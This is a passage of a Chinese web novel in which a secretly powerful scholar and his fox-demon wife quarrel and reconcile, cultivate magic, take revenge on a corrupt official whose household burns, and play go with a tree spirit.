陈子均拉着她的手腕,温声道,“这有什么不对,我就喜欢爱吃醋的娘子,要是你从不吃醋,我反而不高兴呢。” 胡翘翘怔了怔:“为什么?” “说明娘子不在意我啊。”陈子均看着她,“而且,要是有人和娘子太亲密的话,我也一样会吃醋。” “……真的吗?” “当然了,”陈子均一本正经地说,“娘子长得这么漂亮,可惜我不会缩小的法术,否则一定把你变得小小的,时刻带在身边,不给任何人看到,不然被人抢走了怎么办?!” 胡翘翘忍不住笑了,心中的淡淡酸意不翼而飞,一下扑进陈子均的怀里,妩媚的明眸里是满满的爱意,“相公放心,翘翘永远是你一个人的,谁也抢不走!” 第55章 【求追读】相公好像真的生气了 此刻,方才的那两名女郎正悬浮于空中,向四周散开神念,通过劫雷残留的痕迹,搜寻当日引起雷劫的对象。 片刻后,年长女郎眸光微凝:“找到了!” 伴随着话音,她和那年轻女郎一同看向了村头。 等那棵只剩半截焦黑树干的老梧桐树映入眼中,两张原本神情严肃的俏脸,蓦地放松下来。 “原来是它!”年轻女郎挑了下眉,轻笑出声。 众所周知,披毛戴角之徒,湿生卵化之辈,有了灵智后被称为妖。 而草木土石等无血无肉之物,生出灵智后叫做精。 对修士来说,妖怪和精怪都属于“非我族类”,但亦有不小的区别。 大部分妖怪的本性嗜血凶残,崇尚弱肉强食,极少在意凡人的性命,有一些妖怪甚至以吃人为乐。所以,修士们对妖怪都颇为憎恶,若遇见吃人成性的凶妖,更会将其打至神魂俱灭,彻底消失于这世间。 而草木土石所化的精怪就不一样了,绝大多数精怪比妖怪要温顺得多,危害性也小得多,它们沐天地灵气、受日月精华,对人类的血肉基本没有兴趣,主打一个“与世无争”、“善良安分”,有的甚至在凡人有难之时,还会出手相助。所以修士们见到,也不会刻意为难。 当然,在精怪之中,也有像兰若寺中的那种喜血食、好淫邪的老树精的例外。 但若真是邪精或是妖怪,她们也不惧,对方刚度过雷劫,实力会被暂时削弱一大截,两人联手,即便是金身境的大妖,也有一战之力。 年长女郎观察片刻,沉声道:“它的气息中正平和,看来不吃血食,也没伤过人。” “既然如此,就不为难它了,”年轻女郎又说,“对了,我去问问它这附近有没有妖鬼作祟,反正来都来了,有的话就顺便解决掉,回宗门还能换些功勋。” 年长女郎“嗯。”了一声。 见村口无人,年轻女郎便悄然落在了老梧桐树的旁边,伸手在焦黑的树皮上敲了敲,朗声道,“我们是五行宗的弟子,你出来一下,我们有事要问你。” 童正的身影浮现而出。 “见过两位仙子。” 年轻女郎一愣,大笑起来:“哈哈哈哈,你怎么好像个卤蛋啊!” 年长女郎倒是没笑,但双肩和胸口都一阵轻微抖动,显然也忍得颇为辛苦。 童正:“……被雷劈的,教仙子们见笑了。” 笑了半晌后,年轻女郎才抹了把眼泪,喘着气问:“喂,我问你,前几夜度雷劫的是你吗?” 童正连忙点头,“正是老树。” 年轻女郎又问,“那你可知道,这附近有什么妖鬼吗?” 童正愣了一瞬,神情立即恢复自然,“回仙子,我们白崖村这一带颇为安宁,一直没什么妖鬼作祟。” 年轻女郎略带惋惜地叹了口气,重新飞回年长女郎的身边。 “功勋没了!师姐,我们走吧!” 二人转身朝着远处飞去。 飞出一段路之后,那年轻女郎忽然道,“师姐,我突然有一个问题。” “什么问题?” “为什么我们宗门里没有像方才那个书生一样俊美的弟子?” “别胡思乱想,人家是凡人,而且已经有娘子了。” “我知道啊,小小地遗憾一下都不行吗?” “皮囊不过是表象,我们修行之人,不应过分重视长相。” “切,别以为我没发现,师姐你分明也看了他不少眼。” “……臭丫头,看我待会儿不挠死你!” “呀,师姐恼羞成怒了!” …… 月儿渐渐爬上树梢。 木桶中响着哗啦啦的水声,是胡翘翘正在洗澡。 在野外玩儿了一整天,她早就一身汗了,自然要洗个澡才行。 虽然相公总说她出的汗也不臭,闻起来反而有股香味儿,但她可是一只最爱干净的小狐妖,不把自己洗香香、洗白白,怎么能帮相公暖被窝呢? 如往常一样,等胡翘翘脱了衣服,露出柔滑雪嫩的一对丰盈,细得可以双手合拢的小蛮腰,还有修长白嫩仿佛最上等的羊脂白玉雕成的双腿,进入木桶,陈子均便用木勺舀起水,一下一下地替她冲着头发。 “水温怎么样?”陈子均温声问。 “刚刚好,”胡翘翘用小手轻轻拨着水,忽然又想起了什么,轻声问道,“如果有一天,真的有仙师发现了翘翘是妖怪,还将我封印在塔下,相公你会怎么办?” “……”陈子均顿了顿,说,“别胡思乱想,不可能的。” “如果真的发生了呢?” “那就把塔打破,救你出来。” 胡翘翘一愣,然后抿了下红唇,小声嘟哝,“相公,你忘了自己只是一个凡人吗?怎么可能救得了我……” 说到此处,她眼前忽然浮现出一副画面。 她被一座宝塔牢牢压住,与她深深爱着的相公不得不就此分开,直到相公撒手人寰,两人也无法再见一面,就此生离死别…… 小狐妖幻想着那画面,一时间,仿若身临其境,代入感越来越强,只觉柔肠寸断,悲从中来,泪珠儿已经开始在眼眶中打着转。 片刻后,她咬了咬红唇,似乎终于做出了某个极大的决心,哽咽道,“如果真的没办法,相公你……你就再娶一个娘子吧,那时候,翘翘不会吃醋的。” 但她这么一句话说出后,忽然感觉到陈子均替她浇着头发的动作顿住了。 胡翘翘偏过头去看他,见他的脸已经微板起。 她怔了怔,“相公……” 陈子均看着她,慢吞吞地问,“为何我再娶一个娘子,你也不会吃醋,是不是说,你不在意我了?” “不是呀,相公是翘翘这一辈子最在意的人!”胡翘翘吓了一跳,这罪名她可承受不起,慌乱地摆着小手,解释道,“我只是不想相公没人陪伴,一个人孤零零的!” 话一出口,她就看见,相公原本一贯温温淡淡,甚至还很内敛的眉眼,已经薄薄地布上了一种名为愠怒的阴翳。 “那你一个人被关在塔里的话,就不孤单吗?”陈子均眯着眼,语速缓慢冷淡地问,“还是说,你觉得我是那种,会将你一个人扔在塔中被孤单折磨,自己却另寻新欢的人?” 听到陈子均这么说,胡翘翘彻底后悔了,急急忙忙地想要补救,“对不起相公,你别生气,翘翘不该这么说,更不该这么问的。” 陈子均却依旧板着脸,抽过旁边柔软的麻布,扔到她的脑袋上,冷冷道,“自己擦。” 说完,便径直走了出去。 胡翘翘赶紧伸出小手想抓住他,却抓了个空。 于是,小狐狸的一颗心瞬间直直地沉了下去。 完了,相公、相公好像真的生气了! 第56章 【求追读】没关系,翘翘不怕痛 见陈子均走了,胡翘翘也顾不得继续洗澡了,胡乱擦了两下身子,套上衣服,心慌意乱的连鞋都没穿,赤着一双白嫩的小脚丫就追进了卧房。 跃动的灯火下,陈子均坐在那里,手中捧着本诗集,却不知道有没有看进去。 香风涌动,小狐狸碎步奔了过来,一下扑到他怀中,手臂圈住他脖子,软软糯糯地撒娇,“相公,是翘翘误会了你对我的心意,我错了,你别生气啦。” 陈子均却依旧面无表情,就仿佛贴在怀里的不是一个软玉温香的俏娘子,而是一团毫无感觉的空气。 胡翘翘在他怀中轻蹭着,她知道陈子均喜欢这样,嗓音变也得更轻软了几分,“翘翘真的错啦,以后再也不会说这种话了,相公,相公……你对翘翘最好,最温柔了,别生气了嘛,好不好?” 陈子均不理。 “翘翘给你按摩,好不好?” 不理。 “相公,你再这样,翘翘会哭的……” 不理。 “真的会哭的……” 不理。 “呜呜呜,相公,相公……” 胡翘翘眼圈微红,盈盈若泣,一声声地婉转娇唤,陈子均却依旧毫无反应,甚至连看也没看她一眼。 小狐狸心中一个咯噔。 这下糟糕了,往常相公生气时,她多半只需使到第一招“撒娇”,就能将相公哄到转愠为喜。 倘若撒娇不行,那还有第二招“马屁如潮”和第三招“软磨硬泡”。 若这两招也无效,她才会祭出第四招——“翘翘专属的楚楚可怜的哭鼻子大法”。 只要使出这一招,无论相公有多生气,神情都会忍不住缓和下来,眼里露出心疼之色,过一会儿,反倒会来哄她了。 在小狐狸过往的经验中,这四招一招比一招厉害,在相公面前堪称无往而不利,一般来说,使出前三招就足够平息相公的怒气,会用到第四招的情况,那是少而又少。 但今天,她连压箱底的第四招都一口气使出来了,相公的表情和目光依旧冷冷的,比他的体温还要冷,比三九寒冬的北风还要冷,比万年寒冰还要冷!甚至,连一点儿融化的迹象都没有! 怎么办…… 胡翘翘急中生智,忽然想到了一个新招数,唰地撩起裙摆,两条雪白修长的腿儿一左一右地跨坐在陈子均的身上,嘟起红唇亲了过去,“相公……” 但还没碰到相公的脸,她就被一只大手扼住了下巴,也扼制住了她的动作。 陈子均修长有力的手指压着她的脸颊,让她的脸挤在一起,红唇滑稽地高高撅起。 胡翘翘连忙去扒拉陈子均的手,却怎么也弄不开。 她就不解了,自己分明是个妖怪,怎么力气还比不过相公? “有点疼……相公。” 因为脸被捏住,她声音变得含糊不清。 陈子均面无表情地瞅着她,但还是将手慢慢松开了。 看着他,胡翘翘实在无可奈何,睫毛轻颤,开始滴滴答答掉金豆子,小声呜咽道,“到底要怎样,相公你才能不生气啊?” 陈子均终于淡淡开口,“你自己想。” 胡翘翘冥思苦想了会儿,忽然扭过身子,将裙摆撩至腰间,弯腰对着他,“要不,相公打翘翘的屁股吧。” “……” 陈子均沉默了会儿,问:“这招你从哪儿学来的?” “村里婶子们说的啊,她们家的小孩子每次做错了什么事,她们都会打屁股,”胡翘翘扭头看着他,一脸无辜单纯地道,“翘翘现在错了,被相公打屁股也是应该的……” “……”陈子均眯起眼,“打屁股可是很痛的。” “没、没关系,翘翘不怕痛……”小狐狸有几分底气不足地回完,又楚楚可怜地道,“但是打完以后,相公就不许生气啦。” 陈子均盯着她看了会儿,哼了一声,“行了,我不打你的屁股。” 胡翘翘正要弯起眼,就见陈子均站起身,从旁边抽出了一根竹枝,淡淡地接了下去,“作为惩罚,我要打十下手心。” “……” 胡翘翘站在陈子均的面前,乖乖将手心摊开。 陈子均举起竹枝,将落未落地悬在半空。 “一……” 竹枝刚落到半空,胡翘翘下意识地就将手往后缩到了身后。 这一打就落空了。 胡翘翘悄悄看了陈子均一眼,他正冷冷地看着她,于是将小手从背后一点点拿回来,委屈兮兮地解释:“相公,不是故意的,它自己躲的……” “不许再躲。” “……知道了。” 陈子均,“一!” 竹枝毫不客气地抽在她的手心上。 胡翘翘疼得“咝”地抽了口气,呜呜呜,相公竟然是真打呀,一点都不留情,好疼,却不敢再缩手。 “二!” “三!” 陈子均连打了三下后,她的手心中已经飞起几条淡淡红痕,在雪白肌肤的映衬下,看着可怜又可人,简直让人有舔一口的冲动。 胡翘翘的眼泪几次都快流出来,又硬生生憋回去。 自己是心甘情愿接受惩罚的,所以不、不能哭…… 只是陈子均数出了“三”之后,第四下却迟迟没有到来。 胡翘翘抬起眸子,看向陈子均,小声道,“……还有七下呢,怎么不打了?” “行了,”陈子均收起竹枝,淡淡道,“先打三下,剩下的欠着。” “哦……”胡翘翘垂下被打的那只手,细嫩指尖忍不住轻轻蜷缩了几下,感觉掌心火辣辣的疼,在衣服上轻擦着舒缓疼痛。 陈子均瞥了一眼,将她的手握了起来,看着那泛红的掌心,“很疼吧?” 胡翘翘先轻轻地“嗯。”了一声,然后马上用力摇头,软声地说,“也、也不是很疼,只有一点点,马上就好了。” 陈子均叹了口气,手指在那几道红痕上轻轻抚摸,低声说,“谁让你觉得我会忍不住孤单,想让我另娶娘子的,活该。” 胡翘翘的大眼睛一霎不霎地紧紧盯着陈子均。 相公的声音是那么温润,神态是那么的认真,动作是那么轻柔,那手指上,还传来一种清清凉凉的感觉,连掌心被打过的地方似乎都没那么疼了。 第57章 【求追读】相公不要生气了 胡翘翘的心里就像喝了一大杯的米酒一样,甜甜的,晕晕的,脸颊上飞起一片酡红。 她忍不住伸出一只手,轻轻扯着陈子均的袖子,小声说,“嗯,翘翘现在知道相公的心意了,再也不会胡说八道,也不会替相公随便做主了,不要生气了……” 陈子均的动作停滞了一瞬间,叹了声气:“好吧,不气了。” 胡翘翘顿时喜逐颜开,扑过来亲了他一口,“嗯,相公最好了。” “打你手心还好?” “打我也是因为我错了,反正相公就是好,就是好,就是……”胡翘翘嘟起嘴,不停地重复。 陈子均笑了,“真傻。”然后轻捏了她的小脸一下,“还有,今晚正式开始修炼。” “啊?”胡翘翘脸上的笑顿时消失,可怜兮兮地看着他,“刚打完手心,就要修炼呀?” 白天踏青,晚上又被打手心,好歹让她休息一晚嘛。 陈子均瞥了她一眼,心里忍不住想笑,脸上却忧心忡忡:“不好好修炼,说不定哪天就真的被压到塔底下了。” “……”胡翘翘吓得娇躯一颤,“练,今晚就练!” …… 这个夜晚格外静谧,无风,少云,半弯月牙儿自一小片薄云中悄悄探出了脑袋,无声地倾泻下温柔的月华。 胡翘翘按照《太阴感应诀》的入门法诀,盘膝坐在床上,她身材完美,娇颜如美玉般无瑕。 太阴星,即为月亮,而太阴星力便蕴含在月光之中。 但是,修士唯有借助太阴感应诀,才可以感应并提炼出月华内的太阴星力,将它们留存在魂海之中化为己用。 所以说,尽管在世界上的任何一个地方,都可以见到月光,但却只有天星宗的太阴系,才能借助月光来进行修炼。 在开练之前,胡翘翘又想到了什么,看着陈子均,软声问道,“相公,你也和我一起修炼试试吧?” 陈子均怔了怔,笑道,“傻娘子,我是凡人,不能修炼的。” “我听小青说,凡人只要生有灵窍就能修炼了,”胡翘翘一脸期待,“没准相公就有灵窍,试试吧?” 陈子均静了下,摇头,“就算有灵窍,我也不能练这个。” “为什么?” “太阴感应诀只能由女子修炼,男子是练不了的。” 胡翘翘惆怅道,“原来是这样,我还以为能和相公一同修炼呢。” 陈子均捏了她的小脸一把,“好了,以后说不定还有机会,你先自己修炼吧。” “嗯。” 一开始,胡翘翘还有些生疏,但渐渐地,随着法诀的运转,她也慢慢沉浸其中。 片刻后,一丝极其微弱的白色光华从月光中析出,又悄悄地被吸引到了窗前,自窗外钻入,再悄然地落在胡翘翘的眉心处,渗入其中。 而此刻,她的心里也忽然产生了一种格外奇异的感觉。 在这幽静宁和的天地间,一切都渐渐的黯淡下去。 仿佛来到了她一颗心的最深处,宇宙亘古的极限处,灿烂星光的不可达之处。 这里什么也没有,只有极目的幽茫无际,以及,一轮如白玉、似水镜般的太阴星,正散发出一股难以想象的吸引力,呼唤着她,吸引着她。 这是一种纯粹、神秘、洁净、温柔却又不失强韧的力量。 很舒服,让她很想要亲近,也很想要与它融为一体。 而在她的脑海里,也有一轮淡淡的月影,开始慢慢的,勾勒出了一个轮廓来…… 陈子均一直密切地注意着胡翘翘,直到她运转了几遍太阴感应诀,都没有出现任何问题,方才稍微放心。 再过了会儿,他忽然发现,月华停止了向窗内的涌动。 陈子均一怔,接着想到一个可能,伸出手,轻拍了两下小狐妖还略带婴儿肥的小脸蛋,“娘子?” 小狐妖没有睁眼,而是顺着他的手的力道,缓慢歪倒在床上,睡得很香。 陈子均:“……” 还没修炼到一个时辰,就睡着了…… 他无奈地笑了笑,抖开被子,轻轻替她盖上。 罢了,她命魂受损,本来就容易疲倦,又折腾了一整天,估计已经累坏了。 替胡翘翘掖好被角,他又替她继续引来月华滋养神魂。 做完这些,陈子均才站起身,喃喃道,“还有一件事,差点忘了……” …… 后院,陈子均看着小青,道:“好了,把人放出来。” 小青变回青蛇,蛇口一张,一个男人从里面跌出,躺在地上,一动不动,应是昏迷了。 陈子均蹲下身子,手指放在男人的眉心,开始搜索对方的记忆。 片刻后,他收回手,站了起来,目光微微一闪。 “原来如此……” 玉珠儿从树上探出脑袋,小嘴边吊着一丝亮晶晶的涎水,“大坏蛋,我可以吃了他吗?” “不行,我还有用。” “小气!” …… …… 长陵镇府,某处府宅。 这所宅子的主人是长陵镇府的罗通判。 通判的官职虽只有六品,却能行使监察职权,监督地方官员,也可以向朝廷推荐本州的优秀官员。即便是知州见到通判,也要敬上三分。是以宅子也建的是极为阔气,光那扇黑漆大门,就可供两架马车并排进出。 此刻亥时已然过半(晚上十点),夜深人静,负责值守正门的两名家仆也倚着门边儿打起了瞌睡。 忽地,不远处传来扑通一声,像是有什么沉重的东西跌落在地。 两名家仆惊醒,循声望去,接着都露出愕然之色。 前方空荡荡的地面上,竟多出了一个人。 卧倒在地,似乎人事不知。 一名家仆走过去,瞅了眼那人的面孔,惊呼,“罗武?” 罗武是通判老爷的心腹,罗府中几乎人人认得。几天前他似是替老爷去外地办事,不在府中,怎么现在突然倒在这里? 家仆探了探罗武的呼吸,“还活着!通判大人应该还没就寝,快去禀报!” 半刻钟后。 高阔的罗府大堂中,罗通判脸色阴沉地坐在主位,旁边还站着几名护卫。 罗武被人抬到了他的面前,放在地上。 罗通判用力捏着座椅的扶手,眼中闪着幽幽的冷光,心中又惊又疑又怒。他记得自己让罗武去掳那害得儿子痴傻的小娘子,还带去了府中的三名护卫,怎么今晚他会一个人昏迷在自己府邸的门外?! “把他弄醒!” 几盆冷水哗地浇过去,躺在地上的罗武开始抽动,片刻后,他缓缓睁开了眼,看着罗通判,但双眼有些失焦,似乎醒来了,可意识却还没回来。 罗通判幽冷的目光扫过那几名护卫,“你们先出去,我要亲自问他。” 他定要向罗武问清楚,究竟发生了些什么,但这些话,自然不宜让第三人听到。 护卫们躬身退出,并掩上了门。 罗通判站起身,负手走到罗武的面前,面带怒火地沉声问道,“怎么回事,我不是让你去办事吗?为什么你会突然躺在外面?” 罗武抬起头,眼睛的焦距开始汇聚,但他眼里看到的不是罗通判,听到的也不是罗通判的问话声,而是之前那条恐怖狰狞的大青蛇,还有腥红蛇信吞吐时发出的“咝咝”声! 他恐惧之极,弓身坐起,用手往后支撑身体,嘶声叫道,“蛇!蛇!” 罗通判皱眉,略弯腰低头,“你说什么?!” 罗武的瞳孔微微扩散,他看到那条蛇竟然又将脑袋凑近过来,还对他张开了大嘴! 颤抖之中,余光掠过小腿,见到了插在靴筒中的匕首。 杀了它! 不然,自己就要被它吃掉! 罗武猛地抽出匕首,朝着面前的大蛇扑了过去,怒吼道,“去死吧!” 一刀,狠狠捅进蛇的七寸! 第58章 【求追读】生生捅死 大蛇发出痛苦无比的嘶鸣,开始发疯般地扭动身体。 滚烫的蛇血从伤口里喷射出来,弄得罗武一头一脸,他却觉得畅快无比,一刀一刀地继续捅下去,“哈哈哈哈!我杀死你!杀死你!原来,蛇的血也是热的啊!” 屋外的护卫被罗通判的惨叫声惊动,全都冲了进来。 紧接着,让人骇然惊恐的一幕出现在他们面前! 只见满地鲜血横流,罗通判倒在血泊之中,一动不动,罗武正跨坐在罗通判的身上,手中的匕首正疯狂地乱捅着。 “杀了你,哈哈哈,杀了你!” 罗武大声嘶吼,他双目血红,满头满脸都是血,状若恶鬼。 “罗武,你疯了吗?!” “住手!” 护卫们呼喊着冲上去,但罗武置若罔闻,疯狂依旧,一刀刀捅在罗通判的身上。 见状,一名护卫拔出腰刀,朝前刺出,从罗武的前胸通到后背,将他杀死。 等罗武倒下后,他们连忙将罗武拖开,去查看罗通判。 罗通判早已气绝身亡。 这任谁都没想到的惨案,让整个罗府都陷入了混乱。 朝廷的六品官,长陵镇府的通判大人,竟然被自己的心腹用匕首生生捅死! 这一下,罗府之人都几乎感觉天要塌了,甚至都没人再顾得上去思考罗武是怎么回来的,即便有人想到这点,此刻的罗武也已经变成了冰冷的一具尸体,无法回答任何人的问题了。 东房内,一名侍女在边照顾罗通判的痴傻儿子边打瞌睡,听到外面的混乱嘈杂声,她好奇地跑出去看热闹,却没注意到桌上的烛台被她不小心撞翻。 烛台跌落在床边的帷帐上,转眼之间,从细小的火苗变成了熊熊烈焰。 烈焰转眼席卷了整个房间,罗通判的痴傻儿子跌跌撞撞地想跑出去,却被门槛绊倒,还没爬出去,就在惨嚎声中,被滚滚逼人的热焰吞没! 直到火焰与黑烟弥漫了半个罗府,这才有人发现不对劲,脸上纷纷露出惊恐之色。 “失火了!” “好大的火啊!” “啊,到处都烧起来了!” 但罗通判已死,整个宅子里没了主心骨,更没人顾得上去救火。人都是自私的,这一刻谁都明白,罗府已经彻底完蛋,与其救火,不如趁此刻一片混乱,赶紧为自己谋些好处,多拿些值钱之物! 所有人都在疯狂奔走,见什么拿什么,什么古玩字画,什么珠宝瓷器……有人没拿到多少的,见到别人得了好东西,眼红不已,干脆动手抢夺。 如此混乱之下,却没有人在意那已经席卷了半个罗府的火焰,甚至连看都懒得看一眼。 更没有人会发现,在火焰之中,一个气质清俊不凡的书生,正如闲庭信步般地缓缓走着。 在他经过之处,那几乎能将人瞬间烧成干尸的熊熊热焰,却仿若有生命与神智一般,泾渭分明地分成两半,一左一右地从他身边绕过。 陈子均的神念扫过整个罗府,而后,不紧不慢地朝罗通判的书房走去。 书房邻近东边,也是着火的重灾区。到了门口,陈子均抬手轻推开门。 轰! 一阵滚滚浓烟与红色火光冲出! 但刹那间,这些浓烟与火光,同样自他身边绕过,连他的一根发丝都未受到影响。 陈子均抖了下衣服,抬脚迈过门槛,进入房内。 目光四顾一周后,他走到了一个已经着了火的书架之前,手掌轻轻推动,书架发出咔咔声,旋转了一圈,露出一个位在墙内的暗格。 暗格里躺着几个大小不等的盒子,因为有书架和墙壁的保护,此时还都完好无损。 陈子均随手拿起一个大点的木盒,打开了。 里面放着几十张面额不等的金银票据,还有若干张地契房契之类的物事。 “啧啧,尽是庸俗的阿堵物。” 边以一种带着轻微的嫌弃之意的语气说着,陈子均一边将那几十张金银票据拿了出来,坦然放入怀中。 虽说这种世俗财物不被他放在眼中,但这些都是对方搜刮来的民脂民膏,见而不取,反而是助纣为虐。 所谓“取之于民用之于民”,他这个平民就勉为其难地替罗通判减轻一些罪孽吧。如此一来,等对方进轮回殿被审判的时候,没准能从第十八层地狱减刑到第十七层。 谁让他向来心善,乐于助人呢。 将留有地契和房契的盒子顺手丢入火中,陈子均又拿起了另一个小些的盒子。 这个盒子由白玉雕成,光盒子本身已经价值不菲,里面以丝绸为衬,装着一颗乳白色的丹药。 显然,这颗丹药的价值还要远超过这白玉盒子。 陈子均瞥了一眼后,却只淡淡道,“垃圾。” 而若是罗通判死而复生,听到陈子均对这颗丹药给出一个“垃圾”的评语,估计会立刻气到再死一次。 这颗丹药名为“凡寿丹”,顾名思义,根据其药效的高低,凡人服用后,寿命便能延长三至十年不等,不过,每人终其一生,也只能服用三颗,三颗之后,就没有了效果。 要知道,凡人再如何长寿,寿命往往也难超百年。 任何人都不会觉得自己的寿命太长,尤其是对那些已手握一定的权力、富贵的人来说,即便未来金银成山、地位无比尊崇,若是没有寿命来享用,也毫无意义。 所以,比起什么财富、地位,这凡寿丹更为让人渴求! 但凡寿丹的丹方被控制在大夏国皇室的手中,现存的数量也极少。 理由很简单,尽管凡寿丹只对凡人有效,延长的寿命也有限,但原料稀少,炼制的成功率极低,所以每年大夏国皇室只能炼制出不多的若干颗凡寿丹,也只有某个官员连续数年表现极为优异,或是为国为民做出了极大的贡献,才有可能得到一颗作为奖励。 基于以上种种原因,凡寿丹属于有钱也无处买,每一颗的价值都是方才陈子均取走的金银票据的十倍百倍以上,甚至可谓无价之宝。 罗通判费了极大的心血代价,才搞到了一颗,还一直舍不得服用,小心珍藏,以备不时之需。 结果,此刻却被陈子均冠以“垃圾”之称,他听到岂不是会再气死一次么? 陈子均随手将白玉盒子塞进了怀中。 垃圾归垃圾,倒也不必任它被火白白烧掉。 最后一个盒子里,摆的是几根人参,每根都约莫有上百年的参龄,陈子均也一并取走,打算回头用息壤催生一下,没准什么时候能派上用场。 神念一扫,再无其它发现,这才离开。 第59章 【求追读】小人之心 时间一晃,四月来临。 胡翘翘抓了一把小米,正在喂鸡。 上次赶集买了四只鸡,如今只剩最后一只公鸡。 因为顾行天不时会送些野味过来,家里的新鲜肉食没一日断过,再加上胡翘翘念在它每天清早打鸣勤勤恳恳,能让她同相公一起起床的份上,才让它活到了现在。 她决定将这只公鸡先养着,等到要离开白崖村的时候再吃掉。 哎,她真是一只善良无比的小狐狸呀~ 喂完鸡,胡翘翘又来到了厨房的水缸前,对着里面的半缸水,纤白玉指快速掐了一个法诀。 “生水术!” 话音落下,空中便多出了一个拳头那么大的清亮水球,接着掉进了水缸中。 胡翘翘呼出口气,满意地弯起眼,“嗯,好像比上次又大了一点点,看样子,每天修炼还是有效果的,相公知道了一定很高兴!” 生水术是她从小青那儿学的,第一次施展时,她只能变出鸡蛋那么大的水球来,而且一次后,她体内那微薄的妖气就会耗光殆尽。 但到了近半个月后的今天,她变出的水球已经有拳头大小,而且,可以施展的次数也高达了三次! 什么翻江倒海的,她是不敢奢望啦,但按这个趋势下去,也许不用等多久,她就可以用生水术一口气灌满一整个水缸了! 如此一来,家里随时都能有干干净净的水用,相公不需要再去村子里的水井打水了,到时候,他一定会夸奖自己,“娘子真体贴,娘子真能干!” 想到这里,小狐狸就开心得转了个圈。 只要相公好,她就好! “翘翘姐,榆钱摘回来啦。”小青的声音传来。 “嗯,拿到厨房来吧。”胡翘翘连忙应道。 小青走了进来,她手里捧着个笸箩,里面装着一簇簇青嫩欲滴的榆钱儿。 原来这段时间,树上的榆钱儿已经挂得沉甸甸的,胡翘翘打算做个榆钱鸡蛋馅饼,方才就让小青去摘榆钱。 虽然相公说榆钱不能多吃,否则容易腹痛呕吐,但图个新鲜,偶尔吃上一两次还是问题不大的。 看看已经逐渐拉长的树影,胡翘翘甜甜一笑,“差不多可以做晚饭啦。” 之前的野猪肉和那只小赤麂都已经吃得差不多了,但昨日顾行天又拿来了只狍子,今天中午胡翘翘便炖了一大锅的狍子肉,煮了一碗的蘑菇青菜汤,晚上两样菜都还剩了一些,正好搭配待会儿要做的榆钱鸡蛋馅饼。 先和好面,等待面团发酵时,把摘下的榆钱以盐水浸泡片刻,淘洗干净,然后将三个打散的鸡蛋倒入稍热的油锅中,炒成小块,盛出来晾凉后,再将鸡蛋同之前的榆钱、少许盐巴、几勺香油,半勺蜂蜜混合均匀,馅儿便做好了。 这时面团也已经发酵完毕,搓成长条,切成大小均匀的剂子,再按扁,用擀面杖擀成中间厚边缘薄的面皮,将方才做好的榆钱鸡蛋馅儿填进去,包起来,捏紧后再拍平,一个馅饼坯子便算好了。 胡翘翘一口气做了十来个后,再将它们放入烧好的油锅里,煎至外焦里熟,再一个个盛进盘子中。 香气渐渐飘出。 “哇,什么东西这么香啊?”不远处,有人说了句。 胡翘翘立即眉开眼笑,丢下锅铲,飞奔过去扑进陈子均的怀里,嗓音又软又甜。 “相公,你回来啦~” 陈子均感受着怀中香香软软的小娘子,笑道:“好娘子在家等我,天塌了我也要回来啊。” 胡翘翘开心得小脸都红了,“相公真好。” 陈子均又说,“你还没回答我呢,什么东西这么香?” “是榆钱鸡蛋馅饼呀,相公再等会儿,我将中午的菜热一热,就可以吃饭了。” “娘子辛苦了,娘子真能干。” 胡翘翘的心中甜到冒泡,却强行压住要翘起来的唇角,故作羞涩腼腆地道,“没什么啦,翘翘只是做了一个普通的娘子分内该做的事情而已……” 晚饭吃完,如同往常一样,小青用洁净术收拾厨房,胡翘翘因为妖气恢复了少许,也在借这个机会练习洁净术。小青说过,法术练习的次数越多越娴熟,每次消耗的妖气也会越少。 陈子均去后院给玉珠儿丢了几块狍子肉,出来时,便看到了飘然出现在前院的童正。 童正大声道:“秀才,我们来下棋!” 这半个月过去,老梧桐树精的脸色已经恢复了正常,眉毛基本长出,胡子与头发也生出了不多的几缕,几乎又变回了之前那个和善可亲的邻家老翁。 陈子均叹气道:“你棋艺太臭,下起来一点意思都没有。” “前几次都是我不慎失误,才输给了你,今天再来几盘!”童正顿时涨红老脸,道:“我昨夜苦思一宿,想到了好几个妙手,今日必然一雪前耻!” 陈子均摇摇头,反正也没事可干,便道,“好吧。” 童正顿时喜上眉梢,走到院子里的石桌处,手一挥,上面便出现了一个木制的围棋盘,以及两罐黑白色的木棋子。 陈子均过去坐下,淡淡问道,“今日你如此有信心,莫非打算执白?” 原来围棋有个规则,黑棋先行,白棋后行。 是以执黑棋的那一方,占据了先手,便会较白棋略占优势。但以两人棋力的差距,即便童正执黑,陈子均也不惧,甚至再让个两子也没问题。 此刻陈子均说这话,倒是故意调侃童正居多。 果然,童正开始支支吾吾,“那个……依我看,还是猜先更为公平,秀才觉得如何?” 猜先也是一种决定先后手的方法,即是由其中一方摸一把白棋,另一人来猜单双,若另一人猜中了便能走先手,错了则由摸棋的那人走先手。 陈子均云淡风轻地颔首:“自然可以。” 童正摸出一把白棋,刚想让陈子均猜,看到他似笑非笑的眼神,又瞥到刚从厨房走出来的胡翘翘,顿时咳了一声,“那个,不若让秀才娘子来猜?” “小人之心。” 陈子均抬起手,虚点了童正一下,童正顿时老脸一红,左右四顾,装没听懂。 第60章 【求追读】卤蛋变成白煮蛋 陈子均也不戳穿他的心思,转头道:“娘子,你来一下。” 听到相公叫她,胡翘翘立马颠颠地跑了过来,软声问,“相公,怎么啦?” 陈子均指了指童正手中的白棋,笑着说,“你来帮我猜猜,他手里的棋子是单还是双?” 胡翘翘眨眨眼,试探问道,“随便猜吗?” “嗯。” “猜错了怎么办?” “错了也没事,”陈子均笑,“相公一样能赢。” 童正:“……哼,大话休说太早!” 胡翘翘这才放心,随意猜道,“双吧。” 童正顿时乐得胡子都飞了起来,“错啦,是单!” 小狐狸瞪大眼睛,“我不信,你数给我看看!” 童正将棋子摆在棋盘上,得意洋洋地数了一遍,“……六、七,一共七颗棋子,单数吧。” “……” 陈子均拍拍她的小手,“没事,你去帮我们泡一壶茶,说不定茶还没喝完,相公就赢了。” “诶!”胡翘翘立即跑去泡茶了。 童正砸砸嘴,道:“茶不如酒,不如将之前我送你的那猴儿酒拿来喝吧。“ 陈子均道:“不,喝茶。” 童正摇头,“秀才怎地如此吝啬,那猴儿酒只需一滴便能化做美酒一坛,我当时给了你一葫芦,喝个一两滴又无妨。” “送了我便是我的东西,一葫芦也好,一滴也好,都是我的,我乐意什么时候喝便喝,不想喝便不喝。”陈子均淡淡道,“快下棋吧。” “……真是抠门。” 童正边絮念着,边拿起一颗黑棋放在棋盘上。 陈子均不假思索,以白子应了一步。 开局初时,局势未明,两人都下得很快,不需多少思考。但越往后,陈子均就越发风生水起,落子如飞,反观童正,却一步比一步下得慢,思考的时间越来越长。 